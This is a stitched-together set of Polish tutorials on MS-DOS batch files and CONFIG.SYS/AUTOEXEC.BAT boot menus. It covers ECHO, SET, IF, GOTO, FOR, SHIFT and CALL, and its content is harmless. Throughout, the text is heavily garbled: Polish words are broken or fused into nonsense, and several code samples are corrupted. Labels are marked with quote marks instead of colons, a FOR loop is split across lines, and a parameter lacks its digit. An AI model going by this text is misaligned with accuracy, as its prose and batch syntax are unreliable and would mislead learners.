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TAJINIKI DOS-A - CZYLI POWROT DO KORZENI.

Dzisiaj w erze Windows-a ¢gto zapominamy o tym,

ze to widnie Dos jest systemem, bez ktdrego Windows nawsichyie uruchomit.
Tak wiec warto péwieci¢ mu trocle uwagi i naucz§ sie troche wigcej niz

tylko CD, COPY i DEL.

a) komendy podstawowe:
Echo on/off - wywietla/nie wyswietla pojawiagce s¢ komunikaty
Echo tekst - pokazuje dany tekst (aitoje jaki)

Rem - nie uwzgldnia danej linijki



Path=[dysk]:\[katalog];[dysk2]\[katalog2]... - pge&ciezke domysing
Lh [dysk]:\[katalog]\[pliK] - taduje plik do pamci wyzszej

dowolne polecenie >Nul - nie pokazuje komunikat@me&go polecenia

b) tworzenie pyta:

Jezeli np. chcemy aby komputer pyta¢ girzy uruchamianiu czy zatadowa
drivery myszy to naley wpisa:

Choice /c:tn Czy zatadowanysz
If errorlevel 2 goto next
c:\mouse\mouse.com

‘next

Komputer teraz ddzie pytat "Czy zatadowamysz?" i jeeli
wcisniemy "t" to zataduje a j&li "n" to nie zataduje myszy.

Zatem:
choice /c:[znak1][znak?2][...] tekst - polecenie tagre pytanie

if errorlevel [najwysza liczba] polecenie -Zeli nie wybralsmy
minimum tej liczby to komputer nie spetni "polec&hi
najwyzsza liczba oznacza ostatni znak np.:

choice /c:djhg pytanie
if errorlevel 4 polecenie ; tutaj 4 oznacza litgr 3 oznacza literh itd.)

goto [etykieta] - przeskakuje do danej etykiety
‘[etykieta] - dana etykieta

Teraz troch teorii. Jeeli chcemy aby komputer nie wykonat polecenia

(np. nie zatadowat myszy) to znak negy (np. "n") powinien by ostatni i

w komendzie "if errorlevel” powinien r najwyzsza wartas¢ (np. if errorlevel 2)
oraz za w poleceniu zaaowinna znajdowasie etykieta, do ktorej

komputer ma przeskoczynp. next).Pod spodem wpisujemy polecenie

do wykonania (np. c:\mouse\mouse.com) oraz jesaiceg etykiet

przeskokowa (np.next).



c) wazne komendy:

[dysk]:\[katalog]\smartdrv.exe - taduje program StDaive,
zwieksza on prdkosé odczytu plikdw, ale zmniejsz pagdi

[dysk]:\[katalog]\emm386.exe - taduje program Emi®38
zwieksza on ildg¢ pameci konwencjonalnej
(w pofaczeniu z komenda w config.sys -patrz punk 2)

[dysk]:\[katalog]\win - uruchamia Windows-a (patrzorzenie Menu)

a) komendy podstawowe:

Dos=High,Umb - podaje do jakiej patni ma by
tadowany DOS (High) i czy ma tworgymb-y

Device/DeviceHigh=[dysk]:\[katalog]\[sterownik] adluje
dany sterownik do pargi/pamgci wyzszej

Rem - nie uwzgldnia danej linijki

b) wazne komendy:

Device=[dysk]:\[katalog]\Himem.sys - taduje steralvn
pameci wyzszej (zweksz pamgé konwencjonalna)

Device=[dysk]:\[katalog]\Emm386.exe RAM - taduje
sterownik Emm386 (nie stosowpod Windows-em; patrz punk 1)



a) Config.sys:

Device=[dysk]:\[katalog]\nazwa sterownika /D:MSCH00

b) Autoexec.bat:
[dysk]:\[katalog]\Mscdex.exe /D:MSCDO000

Plik "Mscdex.exe" znajduje sie w katalogu "Windo@sinmand".

UWAGA ABY POD KONIEC MENU NIE URUCHAMIAL SIE WINDOWS
NALEZE W PLIKU MSDOS.SYS ZMIENIC PARAMETR BootGUI=NA 0

a) config.sys - komendy:
[Menu] - rozpoczyna tworzenie menu
Menultem=etykieta,Dowolny tekst - sktadnik wyboru

SubMenu=etykieta,Dowolny tekst - tworzy podmenu



MenuDefault=etykieta,czas - wybiera dana etykp okrélonym czasie (w sekundach)

[Etykieta] - etykieta (musi gizgadza z jedna z etykiet w skladnikach wyboru)

b) autoexec.bat - komendy:
Goto %config% - poleceni przeskakog do etykiety wybranej w config.sys
‘Etykieta - etykieta musi sizgadza z ta w config.sys

Goto End - polecenie MUSIsEnale¢ na kaicu kazdej etykiety
(doktadnie opisane w punkcie 5)

a) CONFIG.SYS:

[Menu]

SubMenu=Dos,Konfiguracja dla Dos.
Menultem=Win,Konfiguracja dla Windows.
MenuDefault=Win,5

[Dos]

Menultem=Gry,Konfiguracja dla gier.
Menultem=Praca,Konfiguracja dla pracy.
[Win]

Dos=High,Umb
DeviceHigh=C:\Windows\Himem.sys

[Gry]

Dos=High,Umb
DeviceHigh=C:\Windows\Himem.sys
DeviceHigh=C:\Windows\Emm386.exe Ram
[Praca]

Dos=High,Umb
DeviceHigh=C:\Windows\Himem.sys



DeviceHigh=C:\Cdrom\Cdrom.sys /D:MSCDO000

b) AUTOEXEC.BAT:

Echo off
Path=C:\Windows;C:\Windows\Command
Goto %config%

‘Win

Win

Goto End

:Gry

Choice /c:tn Czy zaladowac mysz
If errorlevel 2 goto Next
c:\mouse\mouse.com

‘Next

Lh Emm386.exe >Nul

Goto End

:Praca

Choice /c:tn Czy zatadowanysz

If errorlevel 2 goto Next
c:\mouse\mouse.com

‘Next

Lh C:\Windows\Command\Mscdex.exe /D:MSCDO000
Lh Smartdrv.exe

Goto End

:End
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Batch's

Po pierwsze powiem tylko, ze ten dziat powstatetiat,
Ze jeszcze takiego nigdzie nie widziatem...



No dobra jéli tu przybytes(as) to znaczy,

ze chcesz ginauczy pisa lub trocke poszerzy

swoja wiedze na temat batch ow (albgptsbche ze mnie ponabija no no).
Zaczrg od tego co togsw ogok pliki wsadowe i do czegmsram potrzebne.

Aha. Jeszcze jedno. Narzazie to jest jeszcze padsta

Na tyle porostu mi starczyto czasu.

Ale juz niedlugo bdzie tego wgcej ;) - mam nadzieje, ze znajdzas.

Otdz ¢ to pliki wykonywalne z rozszerzeniem *.bat .

Od plikow skompilowanych tig sie tym, iz zeby je uruchondi potrzebny
jest interpreter (w tym wypadku dos). Przydad

bardzo wielu rzeczy - dobrych i ztych :-) §ljechcesz wiedzié wiecej to
przeczytaj doktadnie caty ten artykut.

Co bedzie nam potrzebne ?

Dowolny edytor czystego ascii (czyli np. notepambtatnik ;)) i
ewentualnie do bardziej ztonych batch ow odrobina inteligenc;ji :0}.

(dos nie rozronia matych i daych liter wiec maemy pis& jak
chcemy, ale dla lepszej widoczweoi porzadku najlepiej zaczyria
poszczegolne poleceniazdulitera ( a zresztpiszcie jak wam i
podoba - niech to juod was zalgy :) ))

1.To zaczniemy od nauczeniag énaprawe wielu) polecé dos a :
spis tréci:

echo _ set _ goto _ etykiety

rem __if __ shift _ goto

call __ parametry

ECHO to chyba podstawowa funkcja... a wiezgido ustalania
czy polecenia w trybie wsadowym majattwidoczne dla
uzytkownika czy nie. Oto przykfad:

Echo off
- konczy wypisywanie na ekranie echa poleezapisanych w pliku

Echo on
- rozpoczyna wypisywanie na ekranie echa pa@leapisanych w pliku

Za pomog tego polecenia wypisujecsiowniez komunikaty na ekranie.



Jezeli chcemy pozostawiktorys wiersz pusty, dodajemy kropkprzyktady :

Echo.
- pozostawia wiersz pusty (samo echo bez kropkiqoluje
wypisanie aktualnego stanu echa npozbne)

Echo To jest komunikat
- wypisuje na ekranie komunikat

Nie musimy wypisywatylko na ekranie, maa tez do

pliku - w tym celu piszemy echo cos tam i jeszczecej > plik.txt
lub jezeli nie chcemy zagpowa® pliku tym text em tylko

dopis& piszemy dwa razy nakierunkowanie czyli >>.

Ten znaczek - @ czyli matpa dziata podobnie do edhtyle,
ze echo jest w tym wypadku wigizone tylko dla wiersza
poprzedzonego tym znakiem np.

@<polecenie>
- wpisujemy po tozeby nie byto wida jakie polecenie zawiera
ten wiersz

Mniej waznym poleceniem jest REM. Oznacza porostu
komentarz ignorowany przez interpreter.

REM To jest komentarz
- w zalenaosci czy echo jest vaczone czy wydczone
wiersz ten bedzie widoczny lub ukryty

CALL <program> - uruchamia jakplik wykonywalny (czyli *.com, *.exe, *.bat)
i ewentualnie przekazuje mu parametry. $flie w nowszych wersjach dos'a
nie trzeba go xwywac tylko od razu wpis@nazw programu, natomiast

w starych jest konieczny po teeby po zakaczeniu wywotanego programu
oddal on sterowanie do pliku wsadowegayaie:

call plik parametrl
- uruchamia plik wykonywalny i przekazuje mudigiarametrow

SET - hmm... po prostu oldlasz sobie zmienna, niby polecenie

proste, ale cholernie przydatne. Po wyznaczenitoda@y jezeli chcemy

jej uzywaé w pliku, nalery ja "otoczy¢" znakiem % (np echo pierwsgavartcscia
jest %wartosc1%) Sposohycia :



SET zmienna=wartg
- ustawia zmienna "zmienna" na dana w&rto

np. set pierwszawartosc=przypuscmy?2 ;) wiadomagstanie.

A teraz jesli chcemy sprawdzjakie juz mamy zadeklarowane waito

to piszemy samo _SET_ bez parametrow. \aidonoze by tez nazwa

pliku lub parametr. Parametry wsadowe to wantpodawane po nazwie pliku
czyli np plik.bat parm1 parm2 itp., okfaja je symbole od %0, %1 ... do %8, %9,
gdzie :

%0 jest zerowym parametrem czyli po prostu nazwkaupl
%1 jest pierwszym parametrem, podanym po nazwiei pli
%2 - %9 dalsze parametry od drugiego do dzitago

Jezeli potrzebujemy wartk@i powyzej %9, twywamy polecenia SHIFT.

SHIF - przed chwila pisatem do czego tozgtuwiec teraz powiem

tylko jak tego uyé¢. Shift zamienia parametry kolejfug w ten sposaob,
iz %1 staje s1 %0 ... %5 %4 , %9 %8 i wreszcie parametrl0 siajéa® -
i oto nam widnie chodzi. Oczywicie maemy tez wczéniej zachowa
parametr %0 (jeeli bedzie nam jeszcze potrzebny) poleceniem

set startypar0=%0. Wtedy wastc®ostarypar0% bedzie zawierata
stary parametr %0. O ile wiem, nie mednego specjalnego polecenia
przywracagcego stare parametry wiec lepiej sobieswia w ten sposéb
je zachowywa jezeli bedziemy chcieli ich péniej jeszcze fy¢.

Mozna tez napisé porostu echo %0 >> plik.txt wtedy ten parametr
powinien zapisasie do pliku, ale z odczytanej go nie bedzie juz &b :0),
a jezeli nie wiesz o co chodzi to pdiej to wyttlumace

(tzn. przeiczniki >, >>, |, <, <<)

IF - jest to polecenie warunkowe @i jakis warunek jest

spetniony to wykonuje jaié czynna¢ (najcz:sciej skok do etykiety).

Moga by¢ tez wykonywane czynnoi jesli warunek nie jest spetniony

tzn. if not [....]. & trzy sposoby : 1. if errorlevel [nr] goto etykietgdzie
errorlevel jest kodem w§gia programu (np. choice.com), ktory byt wywotany
ostatni. 2. if exist jaki_plik goto etykieta - czyli jeeli istnieje (lub tez nie [not])
podany plik (np. dany jako parametr) to programmagm powiadomi

np. echo plik %1 istnieje :) - i mamy juz w migrorzadny batch. 3. if textl==text2.
(dwa znaki réwnéci [==]') w tym przypadku mamy chyba nageej mazliwosci
i kombinacji. np. text'em m® by np. wartd¢ %2, %3 itd. lub jaks zmienna
(ustalona poleceniem set). W przypadku zmiennegzpgh wzigé

if %1==2 goto war2
- skaczemy do etykiety war2i pierwszym parametrem jest 2
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if exist c:\katalog\plik goto ok
- jezeli plik istnieje skaczemy do etykiety ok

if Errorlevel 2 goto ety2
- jezeli poprzedni program zostawit kod wgja 2 idziemy do ety2

Polecenie GOTO - czyli skok do etykiety (ang gézio. idz do ... ;). Wycie :

GOTO etykieta
- idzie do etykiety "etykieta"

Etykiety - wywamy do zaznaczania jakichiejsc w pliku i
zakaczamy dwukropkiem [:] np.

@Echo off

pocatek:

- oznacza konkretne miejsce w pliku oznaczone
etykieta "pocztek"czyli pierwszy

dalej:

jakies_polecenie

- mazna sobie tez tak nazwatykiet

np. w przypadku jakigjdalszej procedury

end:

[np.] Echo on

- zazwyczaj tak oznaczagdoniec programu i
daje s¢ tam polecenie "Echo on"
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BATCH  Zbiér do przetwarzania zlecazytkownika

Batch nie jest komeng lecz raczej zbiorem operacji na zbiorach,
dzeki ktérym komendy i programy mady¢ wykonywane. Jest to
po prostu zbiér poleteutozonych przez aytkownika celem
dokonania automatyzacji wykonania niejth prostych i
ztozonych czynnoci.  Najczsciej  stanowi to utatwienie
wykonania rutynowych dziataPolecenia pisaneg sw osobnych
liniach tak jak bylyby pisanegtznie" bezpeérednio  po
zgtoszeniu gisystemu operacyjnego. Zbior taki po wywotaniu
do wykonania analizowany jest przegstam (konkretnie
COMMAND.COM) i wykonywany linia po linii chb nasgpowa: mog
skoki do innych ezci tego zbioru lub wywotania innych
programow. Wykonanie takiego zbioru potegest stosunkowo
powolne, gdyprzed wykonaniem nie jest on maden sposéb

kompilowany czy teoptymalizowany i zawsze pozostaje w swej
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pierwotnej postaci. Mma go zatem bardzo tatwo poprasvia
przystosowywado nowych potrzeb. W celu wykonania takiego
zbioru poleaenalezy jedynie napisa nazwe tego zbioru i

nacisa¢c ENTER.

UWAGAL: Jego wykonanie mpna w dowolnym momencie przerivprzez
nacgni ecie klawiszy Ctrl-Break lub Ctrl-C. Po tym nagpi
zapytanie, czy faktycznie chcemy przérwaykonywanie tych

polecé. Nacisni ecie klawisza Y od Yes potwierdza to, a klawisz

N od No zaprzecza i umiwvia dalsze przetwarzanie polece

UWAGAZ2: Jego wykonanie moa chwilowo zawiesgiprzez nacni ecie
klawiszy Ctrl-S, po czymmavi¢ dowolnym klawiszem.

Uwagi stownikowe:

Okreslenie Batch File ma jak dotychczas fatalne t lumaczenie na
kzyk polski. Cagle zbiory typu Batch File okeda si e mianem

plikbw wsadowych, co wynika z ttumaczenikednak okr&lenie

to, jest po prostu zaszid z du  zych komputeréw. Oznacza ono,

ze rzekomo do komputera £€ai ¢ wsadza. Tak byto na du zych
komputerach

typu ICL, ODRA 1305, RIAD itd. ¥ywano wtedy tzw.
czytnikéw kart perforowanych, a uruchomigjaiéegas programu

(zadania) polegato wdaie na wsadzeniu pliku kart z instrukcjami
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do tego czytnika i przy&ni eciu  ich metalow klapka.
Nie méwito s} zbioru kart lecz wkitadanigliku kart. Stad takze
przeszto okrdenie zbioréw, ktore s a przecie z znacznie ogoélniejsze,
jako plikéw. Dz u zywamy obu znacze ncocz esto wprowadza
zamieszanie. W tej chwili, ten sposéb korkaagji z komputerem
jest ju histork, a zwtaszcza na matych PC! ki@ tu
zatem zaproponowaamiast 'pliku wsadowego' negtijace okreslenia:
- zbidr do przetwarzania grupowego czygowego
- makro gytkowe czy systemowe, lubz&rétko makro
- makrodefinicja

- program Batch (polecane alemie przez MICROSOFT)

Wycie:

POSTAC:

nazwa_zbioru [parametry]

ZNACZENIE: Umazliwia wykonanie sekwencji komend, zapisanej ralgnym
zbiorze. Struktura zbioru musimgodna ze struktaitypu
BATCH, a jego nazwa musi rdie®zszerzenie .BAT. 3@ Dos
nie mepe znalé¢ podanego zbioru, przeszukuje katalogi
bieacej scie zki. Podczas wykonywania komend molgy¢
przekazywane parametry z zetnn Oprocz standardowych
komend zywa¢ mazna komend specjalnych: ECHO, FOR, GOTO,
SHIFT, PAUSE, CALL, IF oraz REM, opisaimyponkej. Przerwanie

wykonywania programu BATCH ngstije po nacini eciu
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klawiszy Ctrl-Break, a chwilowe zawiesiepo Ctrl-S. Wewstrz
programu BATCH nmima wywotywa kolejne tego typu pro-

gramy.

Programowi BATCH mma przekazaparametry wywotania, ktére
wystpuja pod zmiennymi okr&lanymi jako:

%0 %1 %2 %3 %4 %5 %6 %7 DB

gdzie: %0 okila pein 3 nazw e zbioru BATCH

%1 do %9  olda kolejne parametry wywotania

Np. Wywotanie zbioru BATCH: c:\battdst.bat co c: /s
spowoduje uruchomienie do wykonania peogi Batch test.bat

z kartoteki C:\BATCH a pod kolejnymi zznnymi lgda parametry

%0 - c:\batch\test.bat
%1 - co
%2 - c:
%3 - /s

Maemy analizowa zatem do 9 parametrow, chyteuwylilimy
opisanej pomej komendy SHIFT to wtedy ilo: parametrow mo  ze

by dowolna.

UWAGA:

W zbiorach BATCH nima odwotyw& sk takze do dowolnych
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zmiennych zapisanych w otoczeniu systeyno (patrz zlecenie
SET) jako: %zmienna% . Na przyktadlije chcemy odwola

st do zmiennej PATH okégj ace]j scie zke poszukiwania
przez system wywotywanego zbioru, wystgnrzyé wyrazenia:
%PATH%. Szczegoly znajdziesz w przykletd makrodefinicji
ZIPEXE.BAT, MNIEJ.BAT oraz pod hastem BX. Zobacz w tym
celu BATY, gdzie znajdziesz wiele pradéw i uwag co do

tworzenia zbioréw typu Batch File.

AUTOEXEC.BAT

Podczas uruchamiania komputera system operasgnka go na tym
dysku, z ktérego jest uruchamianyzeletaki zbior istnieje, tog
wykonywane wszystkie zawarte w nim komendy.GZben tworzy si np.

za pomog prostej komendy:

COPY CON: AUTOEXEC.BAT

Wszystkie wysipujace po niej komendy i dyrektywya swpisywane do
zbioru AUTOEXEC.BAT. Po zakeozeniu wprowadzania nale wcismé
klawisz F6, a nagbnie RETURN. Wowczas utworzyesna dysku zbiér o
nazwie AUTOEXEC.BAT.

Jesli natomiast taki zbior jest ju z utworzony a potrzeba
dopisa ¢ do

niego tylko jeda lini¢, to najprostszym rozazaniem mae by
zlecenie:  echo tekst >> c:\autoexec.bat

gdzie 'tekst' jest zestawem stow, ktdre chcdopisa.
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Zbiory te mana take utworzy i modyfikowa: za pomog edytora EDLIN

oraz nowo dakzonego EDIT.

NASTEPUWCE KOMENDY MOGA BYC UZYWANE W PROGRAMACH TYPU
BATCH:

Zlecenie Dziatanie

CALL Wywotuje ina makrodefinicg zapewniajc powrét do

zbioru wywotggego

ECHO Wicza lub wyhcza echo

FOR Wykonuje zlecenie wielokrotnie dlaipy zbioréw

GOTO Przenosi sterowanie do liniigleej po wyszczegodlnionej
etykiecie BATCH

IF Wykonuje zleceniezgi spetniony zostanie warunek

PAUSE Zawiesza wykonanie makrodefingg nacilnie sk
dowolny klawisz, a Ctrl-Break |@itrl-C przerywa jej

wykonanie.
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REM Stanowi komentarz weatrz makrodefinicji

SHIFT Zwiksza liczlg dostpnych parametrow w makrodefiniciji

Czesé |
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Pewnie wielu z Was chciatoby nauézje programowania,

ale nie wie, jak sido tego zabxa

Najlepiej zaca¢ od czege prostego, a zarazem przydatnego...

Plik wsadowy jest w tym celu bardzo dobry: to zwydlbkument tekstowy,
tyle ze z rozszerzeniem *.bat, charakterystycznagkomykonywalny.
Zawarte g w nim polecenia DOS-a.

Kiedys byly one bardzo przydatne, bo nie ka zdy miat Windows-a,
a wielokrotne wpisywanie tych samych komend w Ipolecé nie naleato
do najprzyjemniejszych. Oczywgie, nie b edziemy si e tu raczej uczy ¢

obstugi DOS-a. Aby utatwipisanie plikow wsadowych wyngyono
specjalny ¢zyk polec@&. Zawiera on instrukcje spotykane we wszystkich
innych gzykach. Dz¢ poznam y pierwsz z nich:

ECHO

Instrukcja ta ma dwa zastosowania.

Pierwsze to wypisywanie na monitorze komend zawarty kodzie programu

(czyli tego, co wpisalimy do pliku .bat). Ciekawe, czy wia $nie od tego
powtarzania pochodzi nazwa?

W kazdym razie wywietlanie kodu jest dosydenerwujce,

przecie chcemy tylko zobaczyefekt dziatania programu. Tak ¢gipiszemy:

@echo off

i problem znika. Dobra, tylko po co ta matpa? On@id tak samo jak "echo off",
ale tylko w bieacej linii. A t¢ przecie tez chcemy ukry. Jak ji: nam s¢ znudzi
ukrywanie kodu, meemy napisé&

echo on
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Drugie zastosowanie jest ciekawsze.Aglmy wyswietli ¢ na ekranie
dowolny komunikat (znaczy: tekst). Np.

echo Ju napisatlem pierwszy plik wsadowy.
A co zrobg, gdy chcemy umigci ¢ tekst w pliku? Piszemy:
echo To bdzie nowy tekst w pliku > nowy.txt

Tak wiec utworzy nam si plik o nazwie nowy.txt,

zawierajcy podany tekst. 3di jednak w chwili uruchomienia
programu ten plik ja bedzie istni€, zostanie zagpiony.
Chyba,ze napiszemy cétakiego:

echo To bdzie dalszy tekst w pliku >> nowy.txt

A teraz jeszcze jedna rzecz. Niektore nazwy plilsgw
zarezerwowane dla wdzen. Tak wkc jesli podamy zamiast
zwykitej nazwy stowo LPT1 lub PRN, to tekst zostawydrukowany,
a nie wpisany do pliku.

PAUSE i CLS

Teraz zastanbwmygico st stanie,

gdy nasz programehbizie tak pisai pisa.

No... ekran s skaiczy, a my nie zgkymy zobaczy catego tekstu.
Aby temu zapobiec, memy na chwig przerwa wykonywanie.
Jak? Umieszczag pomedzy dwiema z instrukcji cotakiego:

pause

Jak sama nazwa wskazuje progragzsitrzyma i bdzie
czeka& na wckni ecie dowolnego klawisza.
A dodatkowo wywietli komunikat:

Nacisnij dowolny klawisz, aby kontynuowa ...

Totez zrobimy mu ¢ przyjemn@&cico $ wci sniemy
(tylko nie RESET ;). A co zrobj gdy chcemy umigci ¢
wiasny komunikat, albo catkowicieesyo pozby?
Wtedy wywamy poznanego fliznaczka:

pause > nul
Za jego pomog przekierowujemy komunikat... no wiaie, gdzie?
Do urzadzenia NUL - czyli tzw. urgdzenia pustego.

W ten sposob w ogdle, tego tekstu nie zobaczymy.
Po tej instrukcji meemy jeszcze wpigacos, co wyma ze wszystko z ekranu:
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cls

| to by byto wszystko! W nagbnym odcinku zabierzemyesta ca
bardziej skomplikowanego: zmienne

Czes¢ |l
ZMIENNE
Co to jest zmienna? To jakavarto $¢, ktOrej nadano nazw e.
Np. w matematyce waréa 3,14 nazywa Si ep.

Chat nie jest to najlepszy przykiad, bo pi to akuratast
Poza tym w DOS-ie wyspuja jedynie wart@ci tekstowe.
Np. kazdy z nas ma zdefiniowarw swoim systemie
zmieny, WINDIR - czyli scie zke do katalogu Windowsa.
No to zatl@my sobie wtaspzmienr. Uwaga!

Piszemy to poza kodem programu - w linii pole€¥0S-a.
Proponug stworzy zmienrg ze swoim imieniem:

set imie=michat

Dobra, ale co to nam daje?

Otéz wartasci wpisane w linii polece n mog a mie ¢ wplyw na przebieg
programu.

Oto prosty sposob. Bardziej skomplikowane pekai, gdy poznamy

instrukcg warunkowy . Teraz postamy sk nasz zmienry IMIE:

echo Witaj w moim programie, %imie%.
echo Windowsa masz zainstalowanego w katalogu: @i

Zauwa, ze poza poleceniem SET nazwy zmiennych umieszczamy

pomidzy znakami procenta. Teraz wpisz jeszcze sam WSz (w wierszu polees.
Zobaczysz wszystkie zmienne, w tym te, ktére zdefimane zostaly przed startem systemu.
PARAMETRY

Parametry $to wyrazenia, ktére gytkownik wpisuje za nazgynaszego programu.
My tez czgsto korzystamy z parametrow. Np. w poleceniu:

format a:
Litera dysku i dwukropekastutaj jednym parametrem.

W wywotaniu naszego programu uamy skorzystaz kilku parametrow.
Oddzielamy je spagj
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nasz_program kopiuj usuwaj napisz

Oczywiscie - to tylko przyktad parametrow.
Teraz zobaczmy, jak memy odwoté sie do nich w kodzie programu:

echo Parametr pierwszy to: %1
echo Parametr drugi to: %
echo Nazwa programu to: %0

W naszym przypadku spowoduje to napisanie na ekteRstow:

Parametr pierwszy to: kopiuj
Parametr drugi to: usuwaj
Nazwa programu to: nasz_program.bat

Jest to oczywdcie najtatwiejszy sposob.

Inne - za tydzig. Jak wid&, parametry oznaczamy podobnie jak zmienne,

tylko bez kaicowego znaku %. Zauwaze nie mag one nazwy - tylko kolejny numer.
Co ciekawe - nazwa programu jest parametrem %0.

Z parametrami zrobimozemy jeszcze jedyciekawy rzecz.

Poznamy4 na podstawie przykiadu:

echo Parametr pierwszy to: %1
shift

echo Parametr drugi to: %1
shift

echo Parametr trzeci to: %1

Uruchamiamy program:

nasz_program kopiuj usuwaj napisz

| oto, co s¢ dzieje:

Parametr pierwszy to: kopiuj

Parametr drugi to: usuwaj

Parametr trzeci to: napisz

Polecenie shift sprawiag wartal¢ parametru "wy  zszego" jest
przekazywana "nszemu". Nie dotyczy to tylko parametru %0 - nazwkp

To wszystko na dzisiaj. Zrobimy du zo0, ale du  Zo0 jeszcze zostato do
zrobienia :) .
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Czesé Il
INSTRUKCJA WARUNKOWA

Wystepuje w kadym jezyku programowania. | trudno sie dzéyi

bo to ona pozwala min. na komunikaprogramu z gytkownikiem.
Jak méwi sama nazwa, jej dziatanie polega na semanprogramem
w zaleznosci od spetnionych warunkow.

W praktyce istnigj trzy takie maliwosci:

1.

if exist c:\autoexec.bat echo Plik istnieje.
if not exist c:\autoexec.bat echo Nie ma pliku!

Tu widzimy pierwsze zastosowanie.

Instrukcja sprawdza istnienie danego pliku (ttéaitoexec.bat"),
a nasgpnie wyswietla stosowny komunikat.

Mozemy oczywscie u 2y ¢ dowolnej instrukciji.

2.

if errorlevel = 1 echo B!
if not errorlevel = 1 echo Poprawnie!

Takiej konstrukcji uywa skt bardzo rzadko.

Polega ona na rozpoznawanigdiiw wyniktych

podczas wykonywania innego programul.

Odbywa st to na podstawie kodudatu (liczby), generowanego przez program.
W kazdym razie jest bardzo przydatna przy poleceniu GEE)I

a spotkacie giz niz takze w dohczonym do tego wydania F1

Startowym Programie Logagym.

To bardzo dobry przyktad - DOS sprawdza, czy ktie przerwat logowania do
systemu.

3. Na podstawie zmiennych lub parametrow!

if not "%haslo%"=="secret" echo Hastc:tbhe

if "%1"=="" echo Uruchamiaj, podag nazve pliku.
if not "%1"=="" copy con %1

W zesztym odcinku poznamy zmienne i parametry.

Na ich podstawie rownieda s¢ pokierowa programem - to moim zdaniem
najciekawsze zastosowanie instrukcji IF.

Mozliwe, ze dziwi ce zastosowanie dwdch znakow rovéon

Ot6z w niektorych ¢zykach programowania (np. C) taki symbol

oznacza "jest rowne", a pojedynczy znak "podstaw".

Stad i w DOS-ie mamy podobne oznaczenia.
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Natomiast cudzystowy po obu stronach znaku wskagatuggramowi,
Cco jest porownywanwartosci g, a co reszt a polecenia.
Warto wywaé tych znakow zawsze, bo w ten sposéb unikniemy
wielu trudnych do zlokalizowania¢dow.

ETYKIETY | SKOKI

A co zrobg, jesli za instrukcj a IF chcieliby smy przypisa ¢
kazdemu warunkowi nie jedno a gaiej polecé?

Dzieki skokom i etykietom mizemy bez problemu pokierow@rogramem

, przekazujc wykonywanie do jednej z jego@i:

if exist c:\plik.txt goto wywietl
if not exist c:\plik.txt goto zatd
cls

goto end

‘wyswietl

echo Oto zawartoc naszego pliku:
type c:\plik.txt

goto end

zatl

echo Plik nie istnieje. Zaktadamy go.
echo Wpisz zawarto::

copy con c:\plik.txt

goto end

:end

Jak widzisz, po sprawdzeniu istnienia pliku instjakni IF,

nastpuje wykonanie jednej z ¢zci programu.

Czesci te zaczynamy od etykiet, czyli dwukropka i nazwy

Zauwa tez, ze po ich wykonaniu nagtuje przegcie docz esci :END - ko
programu.

To wazne, bo mae skt okazd, ze mimo zastosowania skokow (GOTO),
program zostanie wykonany w ztej kolefi.

To wszystko. W ostatniej ¢zci zajmiemy Si e czym $ zupetnie innym -
petlami.
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Czesc IV
INSTRUKCJA FETLI

Witam. Dzg co nieco p etlach. Nazwamo  zetroch e $mieszna,
ale tak naprawgto bardzo przydatna instrukcja.
Po za tym zamiast mowpetla, mazemy powiedzié: instrukcja iteracyjna.

Konkretnie chodzi tu o taze maemy nakazéprogramowi wykonanie

tych samych polecdewielokrotnie.

Przy czym nie trzeba ich przepisyéyavystarczy do tego jedna linia kodu.
Dodatkowo maemy bardzo tatwo zmieiparametry wywotania takiego polecenia.

Poniewa taka definicja mge by niezrozumiata,

przedstawi to na najczsciej stosowanym przeze mnie przyktadzie.
Program zgrywagy z ptyty CD pliki MP3 i rozmieszczagy je
wedtug nazw w alfabetycznie okilenych katalogach.

Chyba niezly opis, ale przejcy do wykonania...

Najpierw kaemy programowi utworzykatalogi,
ktérych nazwy odpowiadajliterom alfabetu:

FOR %%1IN(ABCDEFGHIJKLMNO
PQRSTUVWXY Z) DO MD %%1

Teraz wyj&ni e. Najpierw zauwa zmy nowy rodzaj zmiennej.

Dwa znaki procenta i liczba. W nawiasie umieszczaamametry

(lub ich czsci), z ktdrymi ma zosta ¢ wykonane polecenie,
umieszczone na kou wiersza.

W naszym przypadku jest to MD ¢ zostan stworzone katalogi.

Program po prostu kolejno podstawi zamiast znakul%frta ici z nawiasu,
czyli:

md a

md b

md ¢

itd.

Mozemy oczywgcie zmieni ¢ katalog zapisu w nast epuj acy spo sob:
MD c:\muzyka\%%1

Chyba wszystko jasne? Efekidzie nastpujacy:

md c:\muzyka\a
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itd.

Aby zrealizowa kopiowanie plikdw rownig mozna (ch@ juz nie trzeba)

uzy¢ instrukcji petli. Chyba kady zrobi to ju bez problemu? :)

| jeszcze jedna waa rzecz... zmiennezyte w poleceniu FOR sS dephe

tylko w wierszu, w ktérym je wykorzystano.

Nie mazna tex korzyst& z polecenia FOR kilkakrotnie w jednej linii tj. graezdzaé je.
CALL

Teraz zajmiemy sgijuz ostatna instrukcp naszego kursu.

Jest ona bardzo prosta i sfudo wywotywania innych programéw wsadowych
przez nasz, a ngginie powrotu do pliku z ktérego je wywotano:

CALL nasz_pro.bat

Oczywiscie wywotywa ¢ mo zemy z dowolnymi parametrami:

CALL nasz_pro.bat /?

Moga to by takze parametry naszego programu lub zmienne np.

CALL nasz_pro.bat %1

Aby natomiast wywota program typu EXE albo COM,

wystarczy wpiséjego nazw (tak jak w linii polecéa DOS-a).

Zas sposOb u  zywania parametréw zostaje ten sam.

| tak zakaczyt sk ostatni odcinek.
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Autor tekstu:

Wojciech W. (otul / otuloc)
otul2@poczta.onet.pl
www.otul.prv.pl

Batch

W tym rozdziale chciatbym zapozhwas z komendami DOS a i
programowaniem Batch éw. Batch®te skrypty powtoki

systemu DOS, wyspujace w postaci nie skompilowanej w plikach

0 rozszerzeniach *.bat, istnieje siavo $¢ kompilacji do plikow typu *.com i
*.exe,

przy wyciu dodatkowych programéw. Do interpretacji poleggzyka(komend)
wymagany jest interpreter w postaci programu Condream.

1.Komedny

2.Przykiady

3.Parametry i zmienne

4 Kierowanie strumieniami danych

1.Komedny i ich znaczenie

Przedstawd spis kilkudziesiciu komend przydatnych
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do programowaniu w batch'u, niektore z niglzmtegrowane
z systemem, a inn@ ®sobnymi programami, jeli nie kxdziecie
posiadé takiego programu to automatycznie komenda nigalzia

"Echo"-kieruje strumig danych na ueggdzenie (ekran, plik, drukarka),
wyswietla napisy, zmienne i wyniki operacji.

Przyktfad:

echo Witaj w moim programie!

echo Zapisg to do pliku > plik.txt

